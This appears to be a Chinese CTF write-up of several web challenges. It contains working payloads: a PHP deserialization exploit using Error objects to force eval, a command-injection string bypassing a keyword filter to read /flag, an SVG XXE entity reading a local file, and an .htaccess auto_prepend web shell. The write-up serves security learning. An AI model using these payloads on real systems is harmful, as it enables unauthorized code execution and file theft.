<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

另:由于过滤了小括号,不能使用函数,所以直接include /flag。

EasyBypass 命令执行绕过

1
2
3
4
5
6
7
8
9
10
11
12
if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);

遇到这种一堆过滤的记得第一步是找找之前ctfshow命令执行的所有payload,看看有没有漏网的,比如这里的这个comm1就是漏了tac。

再看到这个cmd的拼接,由于强行固定了file开头,肯定要用分号来执行多条命令,这种php的题目非常推荐复制下来在本地测试。

image-20230811191758636

payload:?comm1='index.php";tac /f???;"&comm2 = 1;

BSidesCTF SVGMagic XXE外部实体注入

了解下SVG是什么:

SVG(可缩放矢量图形)是一种基于 XML(可扩展标记语言)的图像格式,用于描述二维矢量图形。与位图图像格式(如JPEG、PNG)不同,SVG 使用数学公式和几何属性来定义图形,而不是像素网格。

SVG 本质上是一种描述图形的文本文件,其中包含了图形中的形状、路径、颜色、样式和变换等信息。它采用了一种基于标记的结构,类似于 HTML,通过使用标签和属性来描述图形元素和其属性。

简单说来,svg就是一段xml代码,既然是xml代码,而且我们可以通过控制上传的文件来控制xml的内容,自然想到了XXE外部实体注入,直接上exp(由ChatGPT倾情提供)。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY myText SYSTEM "file:///proc/self/cwd/flag.txt">
]>
<svg width="2000" height="500">
<text x="10" y="30">&myText;</text>
</svg>
  • <?xml version="1.0" encoding="UTF-8"?> 是 XML 声明,指定了 SVG 文件的版本和编码方式。
  • <!DOCTYPE> 声明用于指定 SVG 文档类型定义(DTD)。
  • 在 DTD 中,我们定义了一个名为 myText 的实体引用。
  • <svg> 标签定义了 SVG 文档的根元素。我们指定了 SVG 命名空间和画布的宽度和高度。注意这个宽度和高度给大一点,不然显示flag不完全
  • <text> 标签用于创建文本元素。我们在其中使用 &myText; 引用外部实体。
  • xy 属性定义了文本位置。

任意文件读取,我们只需要字就用text就行,不需要画图像,上传得到flag的png图像,因为这毕竟还是一个由svg转换为png的应用。

羊城杯 easyphp .htaccess文件利用

看到写文件操作,很激动,赶紧写了个马上去,结果发现根本就没有进行解析,就只是把你写的代码展现到了html上而已,仔细看看代码,一直在强调index.php,估计只有写到index.php里面才能解析,尝试直接写入,发现根本不行,这时候可以利用.htaccess的配置来auto_prepend恶意的php代码。

1
2
3
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>\

由于源码有检测,不能出现file,于是使用了换行\来绕过,同理将自动添加的hello world给他接到我们的php代码后面,一起当成htaccess文件中的注释,不至于另起一行导致格式破坏。

#后面的内容虽然在htaccess中被当成了注释,但是包含进去之后也执行了,很神奇吧()